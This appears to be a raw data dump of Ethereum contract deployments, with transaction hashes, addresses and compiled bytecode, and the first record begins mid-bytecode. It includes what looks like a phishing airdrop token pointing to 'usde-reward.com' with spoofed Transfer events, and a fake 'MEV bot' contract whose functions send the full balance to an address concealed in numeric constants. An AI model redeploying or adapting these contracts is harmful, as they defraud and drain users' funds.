5060008252602082019150600182525050506005543b15610d95576000600061010461021c60006005545af16104e1573d600060003e3d6000fd5b6101205160066101605160a05260805260406080205560095461018052610160516001610180516f7fffffffffffffffffffffffffffffff811015610d955702600a01556101805160018181830110610d95578082019050905060095561016051600860e05160a05260805260406080205563485cc9556101a05260e0516101c052610100516101e052610160513b15610d95576000600060446101bc6000610160515af1610595573d600060003e3d6000fd5b3360e051610140517f69e16554b097f489830077da86e9e40cc91529a8d0787c42c4f33a0a337a0e086024356101a052610160516101c05260406101a0a4610160516101a05260206101a0f35b6323fc5a478118610641576004358060a01c610d955760e0526003543318610d95577fa1b167642dcf1fee2fbf716c48c7c3f2326e4f26020cb042cd6405dfa72f4fd26002546101005260e051610120526040610100a160e051600255005b634cd69da081186106a0576004358060a01c610d955760e0526003543318610d95577fcdfeee65e4d0a88d6e47c5d034c34b03d52f1e6ffc56906257fc93d993ca04c46001546101005260e051610120526040610100a160e051600155005b634b29cac8811861077e576004358060a01c610d955760e0526024358060011c610d955761010052600660e05160a0526080526040608020546101205260006101205114610d95576003543318610d95576101205160021c60021b60018181830110610d95578082019050905061012052610100511561073557610120805160028181830110610d9557808201905090508152505b61012051600660e05160a05260805260406080205560e0517f54b0a41dd85251df77437effbf9fbdca133bd234e7771816495877177288092c61010051610140526020610140a2005b635ecb9e1481186107dd576004358060a01c610d955760e0526003543318610d95577fe385116766307e81d4427b03f1ac50c300b2f6a5df7b3c67eeb7eaaab12f08056005546101005260e051610120526040610100a160e051600555005b636b441a408118610807576004358060a01c610d955760e0526003543318610d955760e051600455005b63e5ea47b88118610852576004543318610d95577f5c486528ec3e3f0ea91181cff8116f02bfa350e03b8b6f12e00765adbb5af85c60035460e0523361010052604060e0a133600355005b634b920379811861088b576004358060a01c610d955760e0526000600660e05160a0526080526040608020541415610100526020610100f35b638a42bd8281186108c7576004358060a01c610d955760e05260006002600660e05160a052608052604060802054161415610100526020610100f35b6351bd4db581186108ff576004358060a01c610d955760e052600660e05160a05260805260406080205460021c610100526020610100f35b63c781c66881186109165760015460e052602060e0f35b63dfe05031811861092d5760025460e052602060e0f35b638da5cb5b81186109445760035460e052602060e0f35b631ec0cdc1811861095b5760045460e052602060e0f35b63f81c6c3e81186109725760055460e052602060e0f35b63f0ce32f881186109a7576004358060a01c610d955760e052600660e05160a052608052604060802054610100526020610100f35b638b752bb081186109fa576004358060a01c610d955760e0526024358060a01c610d955761010052600760e05160a05260805260406080206101005160a052608052604060802054610120526020610120f35b635d95c65e8118610a2f576004358060a01c610d955760e052600860e05160a052608052604060802054610100526020610100f35b63f111569c8118610a465760095460e052602060e0f35b63285218488118610a7c5760016004356f7fffffffffffffffffffffffffffffff811015610d955702600a015460e052602060e0f35b505b60006000fd5b600660e05160a0526080526040608020546101205260006101205114610d95576000600261012051161415610aba576000610adb565b4262093a80808204905090506101205160021c62093a808082049050905014155b15610bcf5763f9754c936101a0526101c08060803082526020820191508082526311bfb95661014452600460e0516101645260200161014052610140818401808280516020018083828460045afa905050508051806020830101818260206001820306601f8201039050033682375050805160200160206001820306601f82010390509050905090508101905060208201915060008252602082019150600182525050506005543b15610d95576000600060e46101bc60006005545af1610ba7573d600060003e3d6000fd5b4260021b60038181830110610d955780820190509050600660e05160a0526080526040608020555b634b8200936101405261010051610160526020610140602461015c600060e0515af1610c00573d600060003e3d6000fd5b601f3d1115610d95576101405115610d955763094007076101605261010051610180526020610160602461017c60e0515afa610c41573d600060003e3d6000fd5b601f3d1115610d955761016051610140526101405160076101005160a052608052604060802060e05160a052608052604060802054808210610d9557808203905090506101605260006101605114610d935763a9059cbb6101c4526004610100516101e45261016051610204526040016101c0526101c05060206102606101c0516101e060006020602038036080396080515af1610ce4573d600060003e3d6000fd5b61024060203d808211610cf75781610cf9565b805b905090508152805160200180610180828460045afa9050505060006101805114610d38576101a0516101805181816020036008021c9050905015610d95575b6101405160076101005160a052608052604060802060e05160a05260805260406080205560e051610100517f9d228d69b5fdb8d273a2336f8fb8612d039631024ea9bf09c424a9503aa078f0610140516101c05260206101c0a35b565b600080fd0000000000000000000000009996d0276612d23b35f90c51ee935520b3d7355b | |
1 | 19,493,925 | 4bacf752952d4ae18fcdcec4c177d0fd7475555cd872146ba7514c5971f195f6 | 8a26857decc20efb36ff82d0063bf8cd57357997304894cb40a0d767040fc61a | 84122eaf06be0029a118bc5a1efefb92ada4e698 | 84122eaf06be0029a118bc5a1efefb92ada4e698 | 12b01aa62e87fd0191b4f8e5b9dc28ced876d16d | 60806040525f600255734c9edd5852cd905f086c759e8383e09bff1e68b360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b880620006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c806344df8e701161006457806344df8e701461010b5780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806338c9dc85146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b61010960048036038101906101049190610818565b610238565b005b6101136102fc565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610818565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b806002819055505f5b82518110156102f75782818151811061025d5761025c6108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102e291906105f6565b60405180910390a38080600101915050610241565b505050565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a5100060405161037a9190610969565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806103ec575060055f9054906101000a900460ff165b6103f8576002546103fa565b5f5b9050919050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b56108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61068e82610576565b810181811067ffffffffffffffff821117156106ad576106ac610658565b5b80604052505050565b5f6106bf610643565b90506106cb8282610685565b919050565b5f67ffffffffffffffff8211156106ea576106e9610658565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610728826106ff565b9050919050565b6107388161071e565b8114610742575f80fd5b50565b5f813590506107538161072f565b92915050565b5f61076b610766846106d0565b6106b6565b9050808382526020820190506020840283018581111561078e5761078d6106fb565b5b835b818110156107b757806107a38882610745565b845260208401935050602081019050610790565b5050509392505050565b5f82601f8301126107d5576107d4610654565b5b81356107e5848260208601610759565b91505092915050565b6107f7816105de565b8114610801575f80fd5b50565b5f81359050610812816107ee565b92915050565b5f806040838503121561082e5761082d61064c565b5b5f83013567ffffffffffffffff81111561084b5761084a610650565b5b610857858286016107c1565b925050602061086885828601610804565b9150509250929050565b5f602082840312156108875761088661064c565b5b5f61089484828501610745565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61095361094e61094984610927565b610930565b6105de565b9050919050565b61096381610939565b82525050565b5f60208201905061097c5f83018461095a565b9291505056fea26469706673582212200e60365f4437a080447aeb883eebdbeddf857fff49d10899a106d79f439abf5264736f6c63430008180033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000002623205553444520496e63656e74697665204b6579207c20757364652d7265776172642e636f6d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000245553444520496e63656e74697665204b6579207c20757364652d7265776172642e636f6d00000000000000000000000000000000000000000000000000000000 | 608060405234801561000f575f80fd5b5060043610610091575f3560e01c806344df8e701161006457806344df8e701461010b5780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806338c9dc85146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b61010960048036038101906101049190610818565b610238565b005b6101136102fc565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610818565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b806002819055505f5b82518110156102f75782818151811061025d5761025c6108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102e291906105f6565b60405180910390a38080600101915050610241565b505050565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a5100060405161037a9190610969565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806103ec575060055f9054906101000a900460ff165b6103f8576002546103fa565b5f5b9050919050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b56108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61068e82610576565b810181811067ffffffffffffffff821117156106ad576106ac610658565b5b80604052505050565b5f6106bf610643565b90506106cb8282610685565b919050565b5f67ffffffffffffffff8211156106ea576106e9610658565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610728826106ff565b9050919050565b6107388161071e565b8114610742575f80fd5b50565b5f813590506107538161072f565b92915050565b5f61076b610766846106d0565b6106b6565b9050808382526020820190506020840283018581111561078e5761078d6106fb565b5b835b818110156107b757806107a38882610745565b845260208401935050602081019050610790565b5050509392505050565b5f82601f8301126107d5576107d4610654565b5b81356107e5848260208601610759565b91505092915050565b6107f7816105de565b8114610801575f80fd5b50565b5f81359050610812816107ee565b92915050565b5f806040838503121561082e5761082d61064c565b5b5f83013567ffffffffffffffff81111561084b5761084a610650565b5b610857858286016107c1565b925050602061086885828601610804565b9150509250929050565b5f602082840312156108875761088661064c565b5b5f61089484828501610745565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61095361094e61094984610927565b610930565b6105de565b9050919050565b61096381610939565b82525050565b5f60208201905061097c5f83018461095a565b9291505056fea26469706673582212200e60365f4437a080447aeb883eebdbeddf857fff49d10899a106d79f439abf5264736f6c63430008180033 | |
1 | 19,493,926 | be90e8b1c6a0e3069120cb3a829cbbd1c855de6ce98a0920216d474840a72d3d | 5600abbf1f204f83aefdb3d252fe5236834b4d3e8ed22b309da61c19e3f8b380 | 5a4a9cb3af18c0c9e9535900cc9f78c0cb53b452 | 5a4a9cb3af18c0c9e9535900cc9f78c0cb53b452 | 20b87391013c3e241ddf58acc2bbf93da9002e2a | 60806040523480156200001157600080fd5b5060405162000e4138038062000e41833981810160405260408110156200003757600080fd5b81019080805160405193929190846401000000008211156200005857600080fd5b838201915060208201858111156200006f57600080fd5b82518660018202830111640100000000821117156200008d57600080fd5b8083526020830192505050908051906020019080838360005b83811015620000c3578082015181840152602081019050620000a6565b50505050905090810190601f168015620000f15780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200011557600080fd5b838201915060208201858111156200012c57600080fd5b82518660018202830111640100000000821117156200014a57600080fd5b8083526020830192505050908051906020019080838360005b838110156200018057808201518184015260208101905062000163565b50505050905090810190601f168015620001ae5780820380516001836020036101000a031916815260200191505b506040525050508160009080519060200190620001cd929190620001ef565b508060019080519060200190620001e6929190620001ef565b5050506200029e565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200023257805160ff191683800117855562000263565b8280016001018555821562000263579182015b828111156200026257825182559160200191906001019062000245565b5b50905062000272919062000276565b5090565b6200029b91905b80821115620002975760008160009055506001016200027d565b5090565b90565b610b9380620002ae6000396000f3fe6080604052600436106100435760003560e01c80637d53d4331461004f578063be9a6555146100df578063d4e93292146100e9578063e1812f05146100f35761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6100e7610221565b005b6100f16102bc565b005b3480156100ff57600080fd5b50610108610357565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526038815260200180610b266038913960400191505060405180910390a16102746103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156102b9573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610af36033913960400191505060405180910390a161030f61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610354573d6000803e3d6000fd5b50565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103ed5780601f106103c2576101008083540402835291602001916103ed565b820191906000526020600020905b8154815290600101906020018083116103d057829003601f168201915b505050505081565b6000610407610402610423565b61056b565b905090565b600061041e610419610423565b61056b565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a6107c4565b6107d0565b6108d6565b90506000630c46b5159050600063029b9b9d905060006202871c9050600061049a610a31565b905060006104a6610a3e565b905060606104bc876104b7886107d0565b6108d6565b905060606104da6104cc876107d0565b6104d5876107d0565b6108d6565b905060606104e7856107d0565b905060606104f4856107d0565b9050606061051461050586866108d6565b61050f85856108d6565b6108d6565b905060606105576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250836108d6565b9050809c5050505050505050505050505090565b6000606082905060008090506000806000600290505b602a8110156107b7576101008402935084818151811061059d57fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106105bf57fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610610575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15610620576057830392506106ba565b60418373ffffffffffffffffffffffffffffffffffffffff161015801561065e575060468373ffffffffffffffffffffffffffffffffffffffff1611155b1561066e576037830392506106b9565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156106ac575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156106b8576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff16101580156106f8575060668273ffffffffffffffffffffffffffffffffffffffff1611155b15610708576057820391506107a2565b60418273ffffffffffffffffffffffffffffffffffffffff1610158015610746575060468273ffffffffffffffffffffffffffffffffffffffff1611155b15610756576037820391506107a1565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015610794575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156107a0576030820391505b5b5b81601084020184019350600281019050610581565b5082945050505050919050565b6000630d3704be905090565b6060600080905060008390505b600081146107ff578180600101925050601081816107f757fe5b0490506107dd565b60608267ffffffffffffffff8111801561081857600080fd5b506040519080825280601f01601f19166020018201604052801561084b5781602001600182028036833780820191505090505b50905060008090505b838110156108ca576010868161086657fe5b06925061087283610a49565b826001838703038151811061088357fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350601086816108bc57fe5b049550806001019050610854565b50809350505050919050565b60608083905060608390506060815183510167ffffffffffffffff811180156108fe57600080fd5b506040519080825280601f01601f1916602001820160405280156109315781602001600182028036833780820191505090505b5090506060819050600080600091505b85518210156109af5785828151811061095657fe5b602001015160f81c60f81b83828060010193508151811061097357fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610941565b600091505b8451821015610a22578482815181106109c957fe5b602001015160f81c60f81b8382806001019350815181106109e657fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535081806001019250506109b4565b82965050505050505092915050565b6000640b138713f6905090565b6000620e3c91905090565b60008160ff16600011158015610a63575060098260ff1611155b15610a9857817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610aed565b8160ff16600a11158015610ab05750600f8260ff1611155b15610ae857600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610aed565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e67204d455620616374696f6e2e20546869732063616e2074616b652061207768696c653b20706c6561736520776169742e2ea2646970667358221220aaeceb1e34889bbd4575b133bfef9ea946c9c0fc90e28a086f970a01481af49764736f6c634300060600330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | 6080604052600436106100435760003560e01c80637d53d4331461004f578063be9a6555146100df578063d4e93292146100e9578063e1812f05146100f35761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6100e7610221565b005b6100f16102bc565b005b3480156100ff57600080fd5b50610108610357565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526038815260200180610b266038913960400191505060405180910390a16102746103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156102b9573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610af36033913960400191505060405180910390a161030f61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610354573d6000803e3d6000fd5b50565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103ed5780601f106103c2576101008083540402835291602001916103ed565b820191906000526020600020905b8154815290600101906020018083116103d057829003601f168201915b505050505081565b6000610407610402610423565b61056b565b905090565b600061041e610419610423565b61056b565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a6107c4565b6107d0565b6108d6565b90506000630c46b5159050600063029b9b9d905060006202871c9050600061049a610a31565b905060006104a6610a3e565b905060606104bc876104b7886107d0565b6108d6565b905060606104da6104cc876107d0565b6104d5876107d0565b6108d6565b905060606104e7856107d0565b905060606104f4856107d0565b9050606061051461050586866108d6565b61050f85856108d6565b6108d6565b905060606105576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250836108d6565b9050809c5050505050505050505050505090565b6000606082905060008090506000806000600290505b602a8110156107b7576101008402935084818151811061059d57fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106105bf57fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610610575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15610620576057830392506106ba565b60418373ffffffffffffffffffffffffffffffffffffffff161015801561065e575060468373ffffffffffffffffffffffffffffffffffffffff1611155b1561066e576037830392506106b9565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156106ac575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156106b8576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff16101580156106f8575060668273ffffffffffffffffffffffffffffffffffffffff1611155b15610708576057820391506107a2565b60418273ffffffffffffffffffffffffffffffffffffffff1610158015610746575060468273ffffffffffffffffffffffffffffffffffffffff1611155b15610756576037820391506107a1565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015610794575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156107a0576030820391505b5b5b81601084020184019350600281019050610581565b5082945050505050919050565b6000630d3704be905090565b6060600080905060008390505b600081146107ff578180600101925050601081816107f757fe5b0490506107dd565b60608267ffffffffffffffff8111801561081857600080fd5b506040519080825280601f01601f19166020018201604052801561084b5781602001600182028036833780820191505090505b50905060008090505b838110156108ca576010868161086657fe5b06925061087283610a49565b826001838703038151811061088357fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350601086816108bc57fe5b049550806001019050610854565b50809350505050919050565b60608083905060608390506060815183510167ffffffffffffffff811180156108fe57600080fd5b506040519080825280601f01601f1916602001820160405280156109315781602001600182028036833780820191505090505b5090506060819050600080600091505b85518210156109af5785828151811061095657fe5b602001015160f81c60f81b83828060010193508151811061097357fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610941565b600091505b8451821015610a22578482815181106109c957fe5b602001015160f81c60f81b8382806001019350815181106109e657fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535081806001019250506109b4565b82965050505050505092915050565b6000640b138713f6905090565b6000620e3c91905090565b60008160ff16600011158015610a63575060098260ff1611155b15610a9857817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610aed565b8160ff16600a11158015610ab05750600f8260ff1611155b15610ae857600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610aed565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e67204d455620616374696f6e2e20546869732063616e2074616b652061207768696c653b20706c6561736520776169742e2ea2646970667358221220aaeceb1e34889bbd4575b133bfef9ea946c9c0fc90e28a086f970a01481af49764736f6c63430006060033 | |
1 | 19,493,926 | be90e8b1c6a0e3069120cb3a829cbbd1c855de6ce98a0920216d474840a72d3d | 32ecd5653dbfb8a329054162afd1d2de31531b974b174329c903b3673da1f3a2 | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | b4ba89bb3760472df94e3a68442b0ec9099245c0 | 